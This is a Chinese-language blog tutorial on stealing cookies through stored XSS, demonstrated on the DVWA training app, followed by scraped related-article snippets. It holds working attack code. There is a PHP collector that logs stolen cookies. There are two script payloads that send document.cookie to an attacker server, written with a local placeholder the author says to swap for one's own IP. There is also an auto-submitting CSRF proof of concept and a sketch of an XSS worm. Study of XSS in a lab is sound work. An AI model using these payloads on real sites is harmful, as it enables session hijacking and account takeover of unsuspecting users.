xss盗取cookie

什么是cookie

cookie是曲奇饼，啊开个玩笑，cookie是每个用户登录唯一id和账号密码一样可以登录到网站，是的你没有听错cookie可以直接登录，至于服务器怎么设置cookie

和cookie存储这里就不说了，需的要自行百度

xss盗取cookie(dvwa演示)

学习xss时觉得啊这，不就是一个弹窗吗，有啥用，经过学习后发现xss的危害还是挺大的，弹窗的目的只是说明这里可以执行动态脚本，那就可以干很多事情了

环境配置

官网:http://www.dvwa.co.uk/

下载地址:https://github.com/ethicalhack3r/DVWA

下载方式:zip下载或git https://github.com/ethicalhack3r/DVWA

下载完成放入http服务下即可

我使用的是phpstudy下载地址:https://m.xp.cn/

设置接受盗取cookie方式

xss盗取的cookie肯定是要保存到我们自己的服务器上，可以设置一个接受cookie的php网页代码接受到请求携带cookie后保存到文件或者数据库中等都可以，当然也可以不设置存储，随便请求一个一个服务器网页存在不存在无所谓，因为请求可以保存到日志文件，但是看起来可能不方便而已，下面是保存cookie的php代码

<?php

if(isset($_GET['cookie']))                 //如果接收到cookie

{

	$file = fopen('./cookie.txt', 'a');    //打开存储的文件

	fwrite($file, $_GET['cookie']."\r\n"); //将获取的cookie存储

	fclose($file);                         //关闭文件

}

放置xss(这里用存储型xss测试)

<script>document.location='http://127.0.0.1/cookies/cookies.php?cookie='+document.cookie;</script>

我这里用的本地的测试，document.cookie，就是获取cookie，然后携带cookie访问http://127.0.0.1/cookies/cookies.php?（换成自己服务器ip就可以了，这里我本地测试），先查看一下我们的cookie

然后点击我们放存储型xss的地方（xss(stored)）,发现跳转到了令一个网站，并且携带了你的cookie

在到cookie.php目录查看cookie.txt，可以发现cookie已经被存储，cookie被盗取，我们可以利用cookie进行登录



这种动静可能有点大，可以用js加载图片的方式来发送带有cookie的请求，

<script>new Image().src = 'http://127.0.0.1/cookies/cookies.php?cookie='+document.cookie;</script>

使用new Image()进行预加载



当然如果你还有其动静小的方法可以留言，当然还可以用来加载其他的xss神器js代码

<script src=''>

xss蠕虫

前提条件

有存储型xss，可以csrf

原理（个人理解，如有错误可以评论联系我）

相关代码（只是简单的，有过滤，要考虑绕过）

主体存储xss

<script>document.location='csrf地址';</script>

csrf生成

用burpsuite抓包，右键，如图选择，copy复制，然后放到自己服务器等等，当然也可以自己编写csrf的poc，使之功能更加强大，可以自己点击等等，还有一些绕过等等，这只是简单的csrf的poc





csrf演示代码，抓取的dvwa包加了js自动点击

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://127.0.0.1/lmg/vulnerabilities/xss_s/index.php" method="POST">

      <input type="hidden" name="txtName" value="测试" />

      <input type="hidden" name="mtxMessage" value="测试" />

      <input type="hidden" name="btnSign" value="Sign Guestbook" />

      <input type="submit" value="Submit request" />

    </form>

  <script type="text/javascript">                          // js自动点击

      var form = document.getElementsByTagName('form')[0];

      var input = document.getElementsByTagName('input')[3];

      input.value = window.location.hash.substr(1);

      form.submit();

  </script>

  </body>

</html>

受害者储存xss和主体xss类似只是跳转的网页不同

<script>document.location='csrf地址';</script>

个人思考

xss的蠕虫利用起来还是比较难的，要有存储型xss（还要各种绕过），和csrf，但是危害是很大的，不仅仅是传播文章，可以利用这个传播盗取更多人cookie，个人信息，位置，浏览器版本安装软件等等

xss利用的思考（持续思考）

像反射型xss，dom型的xss不在局限于点一个很长的链接，可以利用其他第三方网站来跳转，也可以利用短链接，也可以利用二维码，二维码捆绑一个链接，所以扫描未知二维码是非常危险的事情

像存储型xss，可以利用储存型xss对其他网站进行流量攻击

参考文章与说明

技术讨论 | 记一次XSS蠕虫渗透实验

最后欢迎访问我的个人博客：https://lmg66.github.io/

说明：本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担

xss利用的更多相关文章

  1. xss利用和检测平台

    xssing 是安全研究者Yaseng发起的一个基于 php+mysql的 网站 xss 利用与检测开源项目,可以对你的产品进行黑盒xss安全测试,可以兼容获取各种浏览器客户端的网站url,cooki ...

  2. 漏洞利用：验证绕过，XSS利用，Cookic盗用，文件上传

    1.      文件上传 低级别 写好上传的内容 选择好上传的文件 上传成功. 测试:访问文件,执行代码 中级别 修改文件后缀为png 上传该文件 抓包修改文件后缀为php,然后允许数据包通过. 上传 ...

  3. xss利用——BeEF#stage4（其余功能介绍）

    目录 信息收集 => 社会工程 =>网络扫描 => 结合metasploit => tunneling => xss => 维持权限 功能介绍 #1 - 信息收集 ...

  4. xss利用——BeEF#stage2（初始并持续化控制）

    全文概览 浏览器攻击方法流程 攻击浏览器一般分为几个阶段,如下图 整个过程分为三个步骤,第一步是初始化控制,第二步是持续控制,第三步是攻击.在第三步中的七个攻击方法是可以交叉的,比如可以同时攻击用户和 ...

  5. xss利用——BeEF#stage3（绕过同源策略与浏览器代理）

    绕过同源策略 正式进入攻击阶段.因为SOP(同源策略)的存在,BeEF只能对被勾子钩住的页面所在域进行操作.如果有办法绕过SOP,那么无疑会使攻击面放大. 绕过SOP可从两方面入手.第一个是从浏览器本 ...

  6. xss利用——BeEF#stage1

    全文概览 简介 BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护.是由ruby语言开发的专门针对浏览 ...

  7. xss:利用编码绕过(新手向)

    当浏览器接受到一份HTML代码后,会对标签之间(<p>xxx</p>等,<script>除外).标签的属性中(<a href='xxxx'>)进行实体字 ...

  8. InnerHTML属性的XSS利用

    来自:http://www.myhack58.com/Article/html/3/7/2011/32395.htm innerHTML 是个奇怪的HTML属性,不是W3C标准支持的,但几乎所有的厂商 ...

  9. 小白日记48：kali渗透测试之Web渗透-XSS（二）-漏洞利用-键盘记录器，xsser

    XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...

随机推荐

  1. 利用EasyMock生成数据库连接简单测试示例

    package demo.mock; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.Re ...

  2. npm -v 报错：Error: EPERM: operation not permitted, mkdir 'C:\soft\nodejs'

    npm -v 报错:Error: EPERM: operation not permitted, mkdir 'C:\soft\nodejs' 起因:原本安装node在C盘soft文件夹下,按node ...

  3. 入门大数据---HDFS-HA搭建

    一.简述 上一篇了解了Zookeeper和HDFS的一些概念,今天就带大家从头到尾搭建一下,其中遇到的一些坑也顺便记录下. 1.1 搭建的拓扑图如下: 1.2 部署环境:Centos3.1,java1 ...

  4. 基于opencv的车牌提取项目

    初学图像处理,做了一个车牌提取项目,本博客仅仅是为了记录一下学习过程,该项目只具备初级功能,还有待改善 第一部分:车牌倾斜矫正 # 导入所需模块 import cv2 import math from ...

  5. 全栈的自我修养: 001环境搭建 (使用Vue,Spring Boot,Flask,Django 完成Vue前后端分离开发)

    全栈的自我修养: 环境搭建 Not all those who wander are lost. 彷徨者并非都迷失方向. Table of Contents @ 目录 前言 环境准备 nodejs v ...

  6. 看完这篇 HashSet，跟面试官扯皮没问题了

    我是风筝,公众号「古时的风筝」,一个兼具深度与广度的程序员鼓励师,一个本打算写诗却写起了代码的田园码农! 文章会收录在 JavaNewBee 中,更有 Java 后端知识图谱,从小白到大牛要走的路都在 ...

  7. MySQL 8.0 主从同步

    一.简介 一台服务器充当主数据库服务器,另一台或多台服务器充当从数据库服务器,主服务器中的数据自动复制到从服务器之中.MySQL主从复制的基础是主服务器对数据库修改记录二进制日志,从服务器通过主服务器 ...

  8. 简单案例：form表单应用向后端发数据

    效果如下图: 先新建一Django项目. 最后在terminal执行python manage.py runserver 8090 运行djago程序 浏览器输入http://127.0.0.1:80 ...

  9. 2020年全新web前端学习路线图，学完就业20K！

    第一阶段:HTML5+css 配套学习视频: 前端小白零基础入门HTML5+CSS3 第二阶段:移动web网页开发 移动web进阶教程 第三阶段:JavaScript网页编程 前端与移动开发基础入门到 ...

  10. 使用SpringBoot构建REST服务-什么是REST服务

    前言: 本文按照Spring官网构建REST服务的步骤测试,可以得到结论: 到底什么样的风格才是RESTful风格呢? 1,约束请求命令如下: GET,获取资源.例如:/employees表示获取列表 ...